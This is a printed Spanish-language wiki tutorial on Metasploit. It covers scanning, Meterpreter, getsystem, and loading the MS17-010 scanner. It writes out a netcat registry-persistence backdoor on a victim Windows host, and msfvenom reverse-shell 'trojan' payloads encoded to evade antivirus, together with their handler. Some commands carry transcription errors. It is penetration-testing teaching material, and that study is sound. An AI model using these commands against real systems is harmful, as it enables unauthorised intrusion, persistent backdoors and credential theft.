2025/10/22 04:38 1/5 Metasploit

metasploit

# Metasploit

Metasploit <a href="http://www.metasploit.com/">http://www.metasploit.com/</a> es un software para hacer pruebas de penetración. Dispone de un conjunto de herramientas que permite realizar todas las fases de un test de intrusión.

Una vez instalado, o si hemos usando una distribución de seguridad como Kali Linux, lo primero que tenemos que hacer es arrancar los servicios necesarios para el correcto funcionamiento del Metasploit Framework.



Si queremos utilizar el entorno gráfico de Metasploit, debemos ejecutar Armitage

En especial debemos arrancar las bases de de datos (msdb y postgresql)

systemctml start postgresql
msfdb init

iniciamos el metasploit

msfconsole

con el comando **db\_status** para comprobar que se ha conectado correctamente a las bases de datos

## **Conceptos**

### **Exploit**

Un exploit es una vulnerabilidad.

Para ver los exploits

show exploits

### **Payload**

Los payloads son cargas útiles de código las cuales ejecutan en la vulnerabilidad algun tipo de acción, ya sea la obtención de una Shell y tomar el control del sistema afectado o provocar un desbordamiento o saturación del sistema

Para ver los payloads

show payloads

Last update: 2023/01/18 14:10



Sin activar las base de datos conectadas no veríamos ningun exploit o payload

#### Tipos de payloads:

- Meterpreter es un payload avanzado y multifacético que opera mediante inyección dll. Reside completamente en la memoria del host remoto y no deja rastros en el disco duro, por lo que es muy difícil de detectar
- PassiveX, es un payload que puede ayudar a eludir los firewalls de salida restrictivos. Lo hace mediante el uso de un control ActiveX para crear una instancia oculta de Internet Explorer.
   Usando el nuevo control ActiveX, se comunica con el atacante a través de solicitudes y respuestas HTTP.
- IPV6 Diseñados para funcionar en redes que usen el protocolo IPv6.

#### Meterpreter

Es el payload propio de Metsploit.

- execute, posibilidad de ejecutar archivos.
- sysinfo, obtenemos información del sistema.
- screenshot, captura de escritorio remoto.
- hashdump, obtención de contraseñas en formato Hash.

#### **Encoder**

Los **encoder** cifran nuestros payloads o exploits.

Para ver los encoders

search encoder

Para ver el número total de cada uno

banner

# Recopilar información

Metasploit tiene varios escaneres integrados, podemos ver los que tiene integrados ejecutando

seach portscan

Por ejemplo podemos usar nmap para escanear un equipo

nmap -ss -Pn xxx.xxx.xxx.xxx

también podemos usar **db nmap** en especial si queremos manipular los resultados que nos muestre

http://intrusos.info/ Printed on 2025/10/22 04:38

2025/10/22 04:38 3/5 Metasploit

el nmap.

```
db nmap -sS -Pn xxx.xxx.xxx
```

#### **Buscar máquinas vulnerables**

Podemos usar metasploit para hacer un escaneo de máquinas vulnerables . Para ello ponemos la opción **-script vuln** a nuestro db nmap

```
db nmap -sS -Pn --script vuln xxx.xxx.xxx
```

También podemos hacer uso de otros escaner específicos, con el comando use y el escaner a utilizar Por ejemplo

use auxiliary/gather/joomla\_weblinks\_sqli



con options vemos que parámetros hay que establecer y cuales tiene configurado por defecto cada módulo

## Escalada de privilegios

Necesitamos cargar el módulo priv

use priv

para hacernos con privilegios del sistema

getsystem

#### **Persistencia**

Una vez obtenido el control, tenemos que realizar acciones que nos permitan mantener dicho control en el tiempo.

Un ejemplo para mantener el control en una máguina windows sería:

1. a la máquina víctima le subimos una copia del netcat

```
upload nc.exe c:\windows\system32
```

2. le creamos una clave en el registro para que arranque netcat automáticamente

reg setval -k HKLM\\software\\microsoft\\windows\currentversion\\run -v
nc -d 'c:\windows\system32\nc.exe -Ldp445 -e cmd.exe

#### Last update: 2023/01/18 14:10

## Cargar módulos manualmente en Metasploit

A veces necesitamos cargar un módulo manualmente que no se ha descargado automáticamente. Por ejemplo, vamos a si algún equipo de nuestra red es vulnerable al ransomware wannacry y para ello vamos a descargar el módulo correspondiente.

Para ello primeros buscamos si existe dicho módulo, en este caso particular se encuentra en https://www.rapid7.com/db/modules/auxiliary/scanner/smb/smb ms17 010.

En la página podemos ver el nombre del módulo y donde debe de ir ubicado→auxiliary/scanner/smb/smb ms17 010.

Bajamos hasta el enlace al **Source Code** que nos llevará a la página https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/smb/smb\_ms 17\_010.rb

Pulsamos en el botón para verlo el código en formato **raw** y copiamos la url de la página resultante.

Ahora vamos a nuestra consola de la máquina donde tenemos instalado metasploit y nos situamos en el directorio **cd** /usr/share/metasploit-framework/modules/auxiliary/scanner/smb

una vez en dicho directorio ejecutamos wget y pegamos la url anterior

```
wget
https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules
/auxiliary/scanner/smb/smb_ms17_010.rb
```

Ahora ejecutamos msfconsole y cargamos nuestro módulo

```
use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.1.1 run
```

y nos indicará si el host indicado es vulnerable

### **MSFvenom**

Metasploit tienen una herramienta para generar payload **MSFvenom** . con la cual podremos generar nuestro Payload, específicamente para nuestro objetivo, además de que podremos exportar a un ejecutable y cifrarlo con cualquiera de los encoders, de forma que se pueda ejecutar en el destino sin necesidad del Metasploit Por ejemplo

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx
LPORT=puerto -f exe > shell.exe
```

Si queremos cifrarlo con un encoder para evitar por ejemplo un antivirus

```
msfvenom -p windows/meterpreter/reverse tcp LHOST=xxx.xxx.xxx.xxx
```

http://intrusos.info/ Printed on 2025/10/22 04:38

2025/10/22 04:38 5/5 Metasploit

```
LPORT=puerto -f exe -e x86/shikata ga nai > shell.exe
```

si ponemos como opción la i y el numero de veces que queremos que lo cifre

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx
LPORT=puerto -f exe -e -i 2 x86/shikata_ga_nai > shell.exe
```

Por ejemplo para crear un troyano para linux

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx
LPORT=puerto -e x86/shikata_ga_nai -f elf > shell.elf
```

Para recibir la shell inversa desde el objetivo deberíamos ejecutar en el equipo receptor de la conexión el exploit multi handler

```
use exploit/multi/handler
```

y con option poner las mismas configuraciones que usamos para el troyano

```
set lhost xxx.xxx.xxx
set lport puerto
```

#### Referencias

- http://calebbucker.blogspot.com.es/2013/02/auditando-servidores-web-joomla-con.html
- http://www.hackplayers.com/2013/07/introduccion-karmetasploit.html
- http://www.hackplayers.com/2017/05/como-detectar-pcs-vulnerables-a-wannacry.html

From:

http://intrusos.info/ - LCWIKI

Permanent link:

http://intrusos.info/doku.php?id=aplicaciones:metasploit

Last update: 2023/01/18 14:10

